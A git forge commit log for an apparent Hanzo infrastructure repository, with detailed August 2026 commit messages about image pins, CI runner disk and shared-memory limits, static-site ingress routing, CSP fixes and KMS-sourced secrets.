CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 14s
The chart set EVENT_INGEST_KEY and its comment claimed studio read it. The
DEPLOYED studio does not: studio.hanzo.ai serves zero pk- tokens right now, so
window.HZ.pk is empty and studio's events are unattributed -- exactly the bug
the comment says it fixed.

Fixed on both sides: hanzoai/studio a154b33c collapses _PUBLISHABLE_KEY_ENV to
("PUBLISHABLE_KEY",) with no fallbacks, and this chart now sets that name.
Takes effect once studio is rebuilt past that commit; the comment claiming
"no rebuild is involved" was corrected rather than left to mislead.

Also renames NEXT_PUBLIC_EVENT_INGEST_KEY in the docs website analytics
component. Fleet-wide the key is PUBLISHABLE_KEY -- it is a pk- publishable
value, and the name now says so.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:13:43 -07:00
hanzo-dev f1988b8ae5 hanzo.agency: off Cloudflare Pages, onto the site plane, carrying an ingest key
Charts / publish (push) Successful in 37s
CI / guards (push) Failing after 18s
CI / manifests (push) Failing after 20s
CI / integrity (push) Failing after 16s
Mirror to GitHub / publish (push) Failing after 17s
The Pages project `hanzo-agency` was a direct wrangler upload with no source
repo recorded, so finding the source was the work. It is hanzoai/agency,
established by rebuilding it and matching the live <title> and all 34
react-router routes.

Serving moves to the site plane: middleware `hanzo-agency-static` over
s3://cdn/hanzo-agency, router `hanzo-agency`, no pods. spaMode is TRUE — this
is one index.html with a client router, the opposite of hanzo-ai-static, where
a real HTML file exists per route and a fallback would hide a miss.

The point of the move is the key. hanzo.agency could have been flipped straight
at the existing agency Deployment, which already claimed the host and serves the
same site — but its image ghcr.io/hanzoai/agency:0.1.3 carries NO ingest key
(assets/index-C6KAO3Lp.js: @hanzo/observe wired, zero `pk-` bytes). That origin
answers 200 and reports nothing, which is the silent-dark failure being fixed,
and it cannot be fixed here because images are built by CI. The rebuilt bundle
inlines the key and is asserted to contain it before it ships.

The key had to be discovered, not assumed: this app reads VITE_PUBLISHABLE_KEY,
hanzo.ai reads NEXT_PUBLIC_EVENT_INGEST_KEY and @hanzogui/telemetry reads
*_HANZO_INGEST_KEY. Guessing yields a green build and a keyless bundle, so the
gate is on the built output, not on the command line.

@hanzo/observe was absent entirely and is added at 0.1.7. Below 0.1.6 the engine
runs and measures no coordinate, so clicks carry no $x and heat maps stay empty
while every other signal looks healthy.

hanzo.agency also comes off the agency Deployment's ingress host list, so exactly
one router claims the host. agency.hanzo.ai and www.hanzo.agency stay there and
still serve the keyless bundle; they are a follow-up. www.hanzo.agency is not
claimed by the new router at all because it still CNAMEs to Vercel.

No ACME: agency-tls already carries DNS:hanzo.agency.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:09:17 -07:00
hanzo-devandzeekay 4eb7cf4b91 www 0.1.14 -> 0.1.15: the og:image the crawlers were never given
Charts / publish (push) Canceled after 25s
CI / integrity (push) Failing after 10s
CI / manifests (push) Canceled after 27s
CI / guards (push) Canceled after 30s
Mirror to GitHub / publish (push) Failing after 44s
Tag and digest move together. The kubelet honors the digest, so moving the
tag alone would have reported a new version while serving the old bytes --
that exact split caused an api.hanzo.ai outage today.

Verified before pinning: ghcr manifest for 0.1.15 resolves to
sha256:9b5ecc08 under the in-cluster ghcr-secret creds, and a scratch pod
pulled it by digest. Serving diff vs live 0.1.14 is og:image (absent
entirely before), og:image:alt/width/height, and a twitter card rewritten
off the stale "Hanzo -- the AI cloud" title onto the current one.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:08:40 -07:00
hanzo-ciandhanzo-dev 6a80d519c0 hanzo/cloud v1.801.479 -> v1.801.480: the text plane leaves DigitalOcean
CI / integrity (push) Failing after 35s
Mirror to GitHub / publish (push) Failing after 37s
CI / guards (push) Failing after 39s
CI / manifests (push) Failing after 43s
Charts / publish (push) Successful in 44s
The image carries zen 1.4.11, which routes every chat and vision SKU (zen5-mini,
zen5-flash, zen5, zen5-coder, zen5-pro, zen-vl, zen-guard) through openrouter
instead of DigitalOcean. Cheaper on every rung — zen5 quotes 2.28/7.26 per MTok
where it quoted 4.176/13.2, at the same 3x margin.

OPENROUTER_API_KEY rides in the SAME commit deliberately. zen's resolver reads
env first and KMS only as a fallback, so an image with these routes and no key in
the environment does not degrade — it 401s on every chat. Pin and credential are
one change or they are a broken window.

Every route was tested against openrouter before this landed, including that the
new vision model reads an actual image.

Four SKUs stay on DigitalOcean because openrouter has no endpoint for them:
zen-embedding, zen-image, zen-video, zen-rerank.
2026-08-05 18:06:33 -07:00
hanzo-dev 4cef0100b2 git-runner: 8 GiB of /dev/shm, because 64 MiB was reporting itself as disk
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 6s
CI / manifests (push) Failing after 11s
One CI run reported 196 "no space left on device" failures and every reading
said there was space: the runner's docker volume held 36.8 GB against a 200 GiB
limit, on a node with 1.17 TB free.

The path in the error is what tells them apart:

    write /dev/shm/hanzo-sqlite-plain-2867704271/db: no space left on device

/dev/shm, not the disk. Docker gives every container a 64 MiB shared-memory
tmpfs and act_runner takes that default, while hanzoai/cloud's suite opens its
SQLite databases there. Across ~200 packages the segment fills, and every package
after the fill point dies — 196 of them, all alphabetically LATE (translate,
treasury, validators, wallets, webhooks, world, x402) and all in hundredths of a
second, because they fail OPENING a database rather than running a test.

That shape is why this was read as disk exhaustion three times: late packages,
instant failures, "no space left on device". It is a 64 MiB tmpfs on a 1.2 TB
node.

tmpfs is RAM, so this is charged to the pod's 26Gi memory limit rather than to
disk. 8 GiB is far beyond what the suite's databases need and still leaves the
linker the headroom runner.envs' GOFLAGS -p was tuned for.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 18:03:47 -07:00
hanzo-ciandhanzo-dev 73250cace7 hanzo/cloud v1.801.478 -> v1.801.479
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
CI / guards (push) Failing after 9s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 17s
ghcr.io/hanzoai/cloud:v1.801.479
sha256:6e27bd85ed30202edfe08a5217c69c74204f5e570d6dc5fa98c7db2e946348a6

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 17:36:30 -07:00
zeekayandhanzo-dev e0050f470a sensei-group v0.1.6 — the real site; -spa entrypoint fixes the crash loop
Mirror to GitHub / publish (push) Failing after 11s
Charts / publish (push) Successful in 18s
Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 17:22:18 -07:00
hanzo-dev fcc45fadd5 docs: roll docs.hanzo.ai to f74f8eff8 (ZERO /api/)
Charts / publish (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 8s
CI / manifests (push) Failing after 17s
Tag and digest move together (bumping the tag alone renders repo:newtag@olddigest
and the kubelet honours the digest). Digest verified against GHCR's
docker-content-digest, not the build log.

Applied directly on forge/main because hanzo-cd reads
https://git.hanzo.ai/hanzo/universe and the forge and GitHub mains have
DIVERGED (GitHub ahead by 5128). Reconciling that is a separate, deliberate
merge -- this is the two-line pin only.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 17:19:12 -07:00
hanzo-dev 2c3466c38e cloud v1.801.478: api.hanzo.ai/v1/commerce serves the merchant resources
CI / guards (push) Failing after 7s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 16s
commerce is a plugin of the cloud binary — there is no commerce backend
pod — and the embed carried the store and billing routes but no resource
bundle. So product, collection, variant, webhook, saleschannel and
stocklocation 404'd, and commerce-admin, correctly pointed at
api.hanzo.ai/v1/commerce, had nothing to read.

404 vs 401 is the tell and it is what located this: /v1/store/current
answered 401 (mounted, gated) while /v1/commerce/product answered 404
(absent). A gate returns 401; a missing route returns 404.

Built from hanzo-inc/cloud at refs/heads/main = a10583c5b. That repo, not
the forge and not hanzoai/cloud — three diverged lineages answer to the
name "cloud" and only this one is what BuildKit clones.

Also corrects the verification recipe this file prescribed. It said to
read org.opencontainers.image.revision via `crane config`; that label is
"unknown" on .466, .476 and .478 alike, because the builder passes
build-arg:VERSION and no revision. The command answers for every image
and distinguishes none of them, so following it yields a confident
nothing. The build job's own --opt=context= arg is the real input.
2026-08-05 17:09:11 -07:00
hanzo-dev f6717403de merge origin/main
CI / integrity (push) Failing after 7s
CI / guards (push) Failing after 9s
Mirror to GitHub / publish (push) Failing after 9s
CI / manifests (push) Failing after 16s
Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 17:05:30 -07:00
hanzo-dev 9c1daafaa3 ingress 1.10.6: the route ladder stops guessing from file extensions
Carries hanzoai/ingress 52b6bbd. 1.10.5 gated the static-export route ladder on
path.Ext, which reads a version number as an extension — "glm-5.2" has ext ".2",
"llama-3.2-1b-instruct" has ".2-1b-instruct". Measured live on the hanzo.ai
cutover: 181 of 773 routes 404d, every model page carrying a version, while the
dotless routes served. DNS was rolled back to Pages within the minute and this
is the fix.

The ladder now runs for every miss. It asks for one exact file per candidate and
never falls back to a shell, so a missing chunk still answers a bare 404 — by
construction now rather than by guessing what a path means.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 17:05:29 -07:00
hanzo-ci c359ffde9c hanzo-app v1.42.327 -> v1.42.327
CI / guards (push) Failing after 8s
CI / integrity (push) Failing after 6s
Charts / publish (push) Successful in 19s
CI / manifests (push) Failing after 18s
Mirror to GitHub / publish (push) Failing after 9s
ghcr.io/hanzoai/app:v1.42.327
sha256:152e12fa8e95f835a693534057342e36cabae5cc921f297f6304066b2484abfb

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 32590
2026-08-06 00:01:16 +00:00
hanzo-ci cf85714f09 hanzo-app v1.42.326 -> v1.42.327
CI / guards (push) Failing after 11s
Charts / publish (push) Successful in 18s
CI / manifests (push) Failing after 24s
CI / integrity (push) Canceled after 14s
Mirror to GitHub / publish (push) Canceled after 14s
ghcr.io/hanzoai/app:v1.42.327
sha256:f7e63ce4e7990ca46f7882d2f70cb4fea44f4fc2f5fb58b4ded3eb7f6a42e4c4

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 32589
2026-08-05 23:57:28 +00:00
zeekayandhanzo-dev 29bb04c838 sensei-group v0.1.0 -> v0.1.3: the real site
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
sensei.group has been serving a generated placeholder built from
hanzo-apps/sensei.group — meta author "Hanzo AI", a stock 404, a
generated-asset favicon, 853 bytes of it. The actual site lives in
sensei-group/sensei.group and had never shipped an image.

v0.1.3 is that site: a Next 14 static export, no API routes, no
middleware, no auth in the module graph at all. Tag and digest move
together, because the kubelet honors the digest and a tag moved alone
reports a new version while serving the old bytes.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 16:55:29 -07:00
hanzo-devandzeekay b0abe94c21 docs.hanzo.ai: edit.js could load but not speak
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
script-src named hanzo.app so https://hanzo.app/edit.js would execute.
connect-src did not, so every fetch that script made was refused, and the
'edit this page' control has been dead on every route since.

Measured on the live site with a real headless Chromium at 1280x900 and
390x844, four console errors on each of /, /docs, /docs/getting-started and
/docs/api:

  Connecting to 'https://hanzo.app/v1/edit/config' violates the following
  Content Security Policy directive: "connect-src 'self' https://api.hanzo.ai
  https://analytics.hanzo.ai". The action has been blocked.

and the same pair for https://hanzo.app/v1/me. Users also saw the widget paint
an empty ~28px ring at the bottom-right of the viewport and then remove itself
— it is in no DOM element by t+7s, because the component tears down when its
config fetch fails.

Same change already landed on github.com/hanzoai/universe main (1a3c28ad9).
This lineage is what cd.hanzo.ai actually reads — Application hanzo-docs,
repoURL https://git.hanzo.ai/hanzo/universe, targetRevision main — so the fix
was committed and never deployed. The two lineages have diverged (github main
is 5127 commits ahead, this one 17); reconciling them is not this commit's job.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 16:52:57 -07:00
hanzo-dev 898cab6bb1 merge origin/main
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 16:50:07 -07:00
hanzo-dev f9726686d9 ingress 1.10.5: staticFiles serves a static export
Carries hanzoai/ingress e2be32b. staticFiles resolved only the literal key, so a
prerendered site answered 404 on every route but "/" — measured against
s3://cdn/hanzo-ai, where 772 exported routes were staged and all but the root
were unreachable. It now tries "<path>.html" then "<path>/index.html" before any
fallback (the ladder cloud already uses in apps/sites), and serves a directory
index instead of 301-ing to it.

Same image also unblocks the repo: hanzoai/commerce v1.49.29 had been re-tagged
under a published version, so go.sum no longer matched and no ingress image
could be built at all.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 16:50:07 -07:00
hanzo-dev 457dcff8a0 console listens on 3000 — the values still named the retired server's port
Charts / publish (push) Successful in 19s
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 8s
CI / manifests (push) Failing after 16s
Mirror to GitHub / publish (push) Canceled after 3s
The console IS static: the image is the SPA behind hanzoai/static, whose
server listens on 3000 (Dockerfile: CMD -port=3000). These numbers said
4000, the port of the Next.js server image that Dockerfile REPLACED —
so the Service targeted a port nothing listened on and both probes
dialled it. v8.5.59, the first image ever built from the current
Dockerfile, came up serving /srv on 3000, failed six liveness dials at
4000 and was killed at exactly three minutes, four times over.

The SERVICE keeps 4000: the ingress routes to it and must not move.
Only the container side follows the image.
2026-08-05 16:43:18 -07:00
hanzo-ci 1d1cdf51fe hanzo/console v8.5.40 -> v8.5.59
Charts / publish (push) Successful in 18s
CI / manifests (push) Failing after 17s
CI / guards (push) Failing after 8s
CI / integrity (push) Failing after 14s
Mirror to GitHub / publish (push) Failing after 14s
ghcr.io/hanzoai/console:v8.5.59
sha256:5fc1aebe79769308db83705cc996f7eb6feca6710c7b5e2b3b9631d2164cd714

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 16:26:30 -07:00
hanzo-dev f755dab6a0 commerce-admin: calls api.hanzo.ai/v1/commerce
CI / integrity (push) Failing after 14s
CI / guards (push) Failing after 14s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 24s
Charts / publish (push) Successful in 31s
The endpoint is right from this image on. It answers 404 until cloud ships the
plugin mount (forge/main e173ea030) — but so did the old address, permanently,
so this is a strict improvement: same behaviour today, correct the moment the
release lands, and no second cutover to remember.
2026-08-05 16:23:35 -07:00
hanzo-dev dd19c2829c git-runner: the disk request tracks the disk cap
CI / guards (push) Failing after 6s
Charts / publish (push) Successful in 13s
CI / integrity (push) Failing after 47s
Mirror to GitHub / publish (push) Failing after 45s
CI / manifests (push) Failing after 51s
Raising docker-storage to 200Gi without moving the ephemeral-storage request
left the scheduler believing a runner needs 38Gi while the pod may take 200Gi.
A request is a reservation; the cap is the real appetite. With the two apart,
the scheduler will place more runners on a node than that node's disk can
serve — and the first symptom is the eviction this change exists to end, only
now with the cap looking innocent.

200Gi against ~1141Gi allocatable bounds placement at five runners per node.
Two is what actually lands; five is the ceiling if the pool is ever scaled
down underneath them.

My omission, from the commit before this one.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 16:12:44 -07:00
hanzo-dev d94cff301d merge origin/main into the runner disk-cap change
CI / integrity (push) Failing after 4s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 14s
Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 16:04:38 -07:00
hanzo-dev acb4e0d3ea git-runner: a disk cap above the build that has to fit in it
The runners evict at 38Gi and cloud's test suite was measured at 56.5G of
/var/lib/docker, so the heaviest build in the fleet could not finish on the
fleet. The kubelet enforces an emptyDir cap by killing the pod, and a killed
pod writes no error — the log simply stops. That signature is 94 of the 111
failing tests in cloud gate run 836 (`no space left on device`), run 829's
truncated log, and the docs build dying at "Finalizing page optimization":
three separate investigations, one cap.

The cap could not be raised where the runners were standing. runner-pool-32g
is g-8vcpu-32gb with a 100GB disk and two runners to a node, so anything past
~44Gi meant one runner per node and half the CI fleet. So the nodes move:
runner-pool-1tb is so-8vcpu-64gb-intel — 1200GB of NVMe, and 64GB of RAM,
which matters second and independently, because the runner's memory LIMIT is
26Gi and a 32GB node could never honour two of them (node memory evictions
were already being seen). Same 8 vCPU, so scheduling is unchanged.

200Gi is from the measurement, not rounded to feel safe: two caps plus the
~14GB image store is ~444GB of 1200GB, and the heaviest observed build sits
at a twentieth of the disk. The bug was a cap with no headroom; a close fit
would be the same bug with a larger number.

A PersistentVolumeClaim is the better shape and was tried in 925984f, then
reverted in 7b561ae1: volumeClaimTemplates is IMMUTABLE on an existing
StatefulSet, so the API refuses the update and landing it costs a
delete/recreate of the whole CI fleet. sizeLimit and nodeSelector are both
spec.template fields and apply in place. Revisit the PVC alongside a planned
StatefulSet replacement, not before.

This does not replace the prune CronJob. A leak fills any volume; a bigger
cap only changes how long that takes.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 16:04:38 -07:00
hanzo-dev 22627f4e77 merge origin/main
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 13s
CI / integrity (push) Failing after 32s
CI / guards (push) Failing after 35s
Charts / publish (push) Successful in 39s
Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 16:02:57 -07:00
hanzo-dev 669d5bf273 hanzo.ai: the apex is a site, not an image
Serves the marketing apex from s3://cdn/hanzo-ai through the staticFiles
middleware — no pod, no image, no tag to bump. It is a Next.js `output: export`,
so every one of its 772 routes is already a file; there was never anything to
render.

This retires BOTH mechanisms that were aimed at this host and neither of which
ever served it:

  - Cloudflare Pages, which is where hanzo.ai actually lived. It serves every
    content-hashed chunk `public, max-age=0, must-revalidate` and answers a
    missing .js with 30KB of branded HTML, which is most of why the apex threw
    ChunkLoadErrors. Here the hashed types are immutable for a year and a miss
    is a bare 404.
  - the `hanzo-ai-www` image plane, whose router in routes.yaml pointed at a
    Service that was never created. Anything reaching the cluster for this host
    got a 502; it went unnoticed because DNS still said Pages. Deleted rather
    than left inert — a file-provider router outranks the CRD one, so leaving it
    would have served that 502 the moment DNS moved.

spaMode is off and no errorPage404 is set: with a real file per route there is
no client router to fall back to, and an SPA fallback would answer 200 with the
homepage for every missing chunk. Cache policy is keyed by extension because
that is what the middleware matches; verified against the built export, which
puts all 332 of its .js/.css/.woff2 under /_next/static/ and leaves nothing
hashed outside it.

DNS still points at Pages on this commit. The route is inert until it moves.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 16:02:51 -07:00
hanzo-ciandhanzo-dev 34e67959d5 cloud v1.801.475 -> v1.801.476
CI / integrity (push) Failing after 4s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 6s
CI / manifests (push) Failing after 14s
Charts / publish (push) Successful in 43s
ghcr.io/hanzoai/cloud:v1.801.476
sha256:0743f907a3f12b469a538d52b7685c43cd2ffdb9cfc53a4c06e2ccb773a8f173

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 16:01:39 -07:00
hanzo-dev 645d75ca5c merge origin/main into the ingress object-store fix
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 6s
CI / manifests (push) Failing after 14s
Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 15:54:31 -07:00
hanzo-dev 3e88bd52e1 ingress: give staticFiles the object store it has always required
The staticFiles middleware fails closed. Absent S3_ENDPOINT it refuses to build
("needs S3_ENDPOINT in the ingress environment"), absent either credential
likewise, and a middleware that will not build takes its router down with it.

charts/app/values/hanzo/static-sites.yaml has said since it was written that the
plane "requires ingress >= 1.10.0 with S3_ENDPOINT/S3_REGION +
AWS_ACCESS_KEY_ID/SECRET from s3-credentials in its env". That env was never
committed here, so gallery-static — the only staticFiles middleware in the fleet
— has never once built, and gallery.hanzo.ai has been served the whole time by
the older cdn-filer routers in routes.yaml. The zero-pod site plane existed on
paper and nowhere else.

No behaviour changes on this commit: gallery keeps its file-provider routers,
which outrank the CRD route 150 to 100. This only makes the plane buildable.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 15:54:21 -07:00
hanzo-dev 7b561ae1c0 Revert "git-runner: each runner's Docker host moves to its own 1Ti volume"
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 14s
The size was never the defect. Measured on a runner that STARTED CLEAN and ran
the full suite: 18.1G against the existing 38Gi cap, with 20G of headroom unused.
Every eviction traced to a runner that began its build already carrying 19-25G of
another job's leftovers — the leak, which the prune CronJob now clears between
runs.

So this bought nothing the prune had not already bought, and it cost three things:
volumeClaimTemplates are IMMUTABLE, so it could only land by deleting and
recreating the StatefulSet — which is 10 runners draining at 31 minutes apiece,
on the critical path of a cutover; 10 x 1Ti of always-on block storage is
~$1,024/month for CI scratch that is regenerable by definition; and until that
recreate happened the CD application would have sat in permanent sync failure
against a field it cannot patch.

The right version of this is a separate piece of work — an autoscaled runner pool
with EPHEMERAL disk per runner and the cluster autoscaler behind it — built
deliberately rather than threaded through a release.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 15:53:45 -07:00
hanzo-dev 594a4119e2 pay: one Ingress for pay.hanzo.ai, not two
CI / guards (push) Failing after 5s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 15s
The host was declared twice: hanzo-domains routes it with the path split
(/v1/commerce and /v1/billing to cloud, everything else to this Service),
and pay.yaml declared its own Ingress for the same host carrying only '/'.
Two Ingress objects for one Host means which one answers a /v1 request is
decided by rule length, not by design -- it happened to work.

The subset one goes. The Service is unchanged; hanzo-domains points / at it.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 15:53:02 -07:00
hanzo-dev 16ca968b67 cloud-api(testnet): the at-rest master key, synced from KMS
cloud-api never bound a listener. kms and pubsub fail closed on a missing
master key ('cek: no master key'), each failure burns a 60s start timeout,
and the liveness probe SIGTERMs the process at exactly initialDelay 15 +
30x6 = 180s -- before boot finishes. 393 restarts over 35h with zero
listening sockets, and the whole boot log only 32 lines.

The key is now in KMS at org=hanzo env=test path=/cloud
name=CLOUD_KMS_MASTER_KEY -- a sibling of the coordinate prod and devnet
read, written through /v1/kms with the platform machine identity and verified
to decode to 32 bytes. env=test and not prod on purpose: a testnet plane
sharing prod's at-rest key makes the blast radius of a testnet compromise
production data.

Consumed the canonical way, a KMSSecret the operator materialises, not a
hand-made Secret. Every other namespace's copy of this shape is owner=<none>
because someone kubectl-created it, which is exactly what the
kms-only-secrets admission policy exists to stop: 'Secrets must originate
from KMS. Author a KMSSecret instead.'

ONE-WAY DOOR, stated in the file: the first store open after this key becomes
visible ENCRYPTS those stores in place, and a ciphertext store whose key is
lost is unrecoverable by any key. So this coordinate is never re-pointed or
re-minted -- rotation is a re-encrypt, not an overwrite.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 15:53:02 -07:00
hanzo-dev 925984fa54 git-runner: each runner's Docker host moves to its own 1Ti volume
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 15s
/var/lib/docker was a 38Gi emptyDir, which is NODE ephemeral storage, and the
kubelet enforces that limit by EVICTING the pod. A build that outgrew it was
killed mid-run with its log simply stopping — no error line, nothing to read —
so the failure looked random and followed no repository. Twice in one hour, and
it had been happening for far longer than anyone had attributed to it.

The limit could not just be raised. An emptyDir comes out of the node's ~88Gi and
these nodes carry two runners, so anything above ~44Gi means one runner per node:
headroom bought with half the fleet.

A PersistentVolumeClaim is not the node's disk. The size becomes a property of
the runner rather than of what it was scheduled beside, and two runners still
share a node. 1Ti against a heaviest-measured build of ~20Gi is deliberate
overprovisioning — the point is that disk stops being something anyone reasons
about. Cost is on record: 10 x 1Ti of do-block-storage is ~$1,024/month.

It does NOT retire the prune CronJob. A leak fills any volume eventually; 1Ti
only changes how long that takes, and a runner that never sheds its build caches
would still get there. Belt and braces, deliberately.

The ephemeral-storage REQUEST goes with it: the node was reserving 38Gi per
runner for storage that no longer lives on the node.

NOTE for whoever applies this: volumeClaimTemplates are IMMUTABLE, so the
StatefulSet must be recreated (delete --cascade=orphan, re-apply, then roll the
pods) — a values edit alone will report synced and change nothing.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 15:51:58 -07:00
zeekayandhanzo-dev 09a2bcaee6 mpc v1.17.18 — keygen stops refusing its own quorum
CI / integrity (push) Failing after 22s
CI / guards (push) Failing after 25s
CI / manifests (push) Failing after 29s
Mirror to GitHub / publish (push) Failing after 25s
Address generation was dead fleet-wide behind a health endpoint that reported
signing_quorum: true, for two reasons that only bite together:

  a node counted ITSELF as a peer, because filterSelf compared node IDs while
  the --peer flags carry addresses, so the self entry never matched and every
  node dialled itself;

  the readiness gate compared the peer count with == rather than >=, so the one
  extra connection that bug produced put the count permanently past the value
  the gate would accept.

The cluster ran v1.17.15 while this manifest still pinned v1.17.12 — drifted,
so the pin is now what runs rather than a third value nobody deploys. This is
what makes the crypto rail's 'temporarily unavailable' stop being true.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 15:49:04 -07:00
hanzo-dev 416275050a git-runner prune: never mid-build, and containers before images
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 14s
Two corrections to the shape this landed in, both from measuring rather than
assuming.

IT MUST NOT RUN UNDER A LIVE BUILD. Measured on a runner mid-suite: the
docker-storage volume held 17.4G while the runner's own rootfs held 2.7G, and
nearly all of that 17.4G was the RUNNING job container's writable layer — the Go
build cache across ~120 packages. That is not reclaimable and must not be, so
pruning there frees almost nothing while converting a legible "no space left on
device" into a build that fails for reasons nobody can reconstruct. It now skips
any runner with a container in flight and prunes between jobs.

CONTAINERS FIRST. An image cannot be removed while a container references it, so
`docker image prune -af` on a runner carrying 24G reclaimed 0B until the finished
job's container went — and the container is exactly where the build cache lives
once the job ends. Measured with the corrected order: 22733M -> 704M on one
runner, 25481M -> 4385M on another.

The threshold moves 15G -> 8G for the same reason the skip exists: an idle runner
sits near 2G once this has run, so anything above 8G is leftovers, and it leaves
the heaviest build measured (~20G) a clear 30G inside the 38Gi cap.

It reports reclaimed bytes per runner, because "the job exists" is not evidence
that anything was freed.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 15:43:26 -07:00
hanzo-dev 49d95d89e7 commerce-admin: one identity control, and a sidebar that steps aside
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
Charts / publish (push) Successful in 13s
CI / manifests (push) Failing after 13s
2026-08-05 15:17:22 -07:00
hanzo-dev 27cdbb7ef8 git-runner: prune each runner's Docker host before it hits its cap
CI / guards (push) Failing after 6s
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 13s
Every runner is its own Docker host with /var/lib/docker on an emptyDir capped
at 38Gi, and an emptyDir lives as long as the POD, not the job. So each build
leaves its images and build cache behind and the next build starts higher than
the last: measured across the fleet at one moment, 1.6G on a pod minutes old and
24.5G on one four hours old, for the same work.

The cap is enforced by EVICTION. The kubelet kills the pod mid-build, the job log
STOPS — no error, no last line — and the run reports failure with nothing in it
to read. Twice in one hour (git-runner-6 20:44:35, git-runner-5 21:15:31), and
because the build that dies is simply the one that arrives last, it followed no
repository and looked random.

Reclaiming by hand returned ~65G across ten runners and the next build passed on
a freshly restarted runner — the same build that had been evicted twice. The wall
was the leak, not the build. Raising the cap would have halved the fleet (nodes
hold ~88Gi and run two runners each, so anything above ~44Gi is one per node) to
buy time against something that refills whatever it is given.

It removes only what nothing is using, so it is safe while a build runs — proven
against a live job that kept running while 7G came back underneath it. It fires
on a threshold rather than every tick, so an idle fleet keeps its caches warm.

Two details that are the difference between working and silently doing nothing:
DOCKER_CONFIG is redirected to a writable path, because the runner mounts
/root/.docker read-only and buildx refuses to start without somewhere to create
its own directory — `docker builder prune` then fails with "mkdir
/root/.docker/buildx: read-only file system" and reclaims zero. And it prunes
IMAGES with -a: without it only dangling images go, which on these runners is
nothing at all.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 15:12:47 -07:00
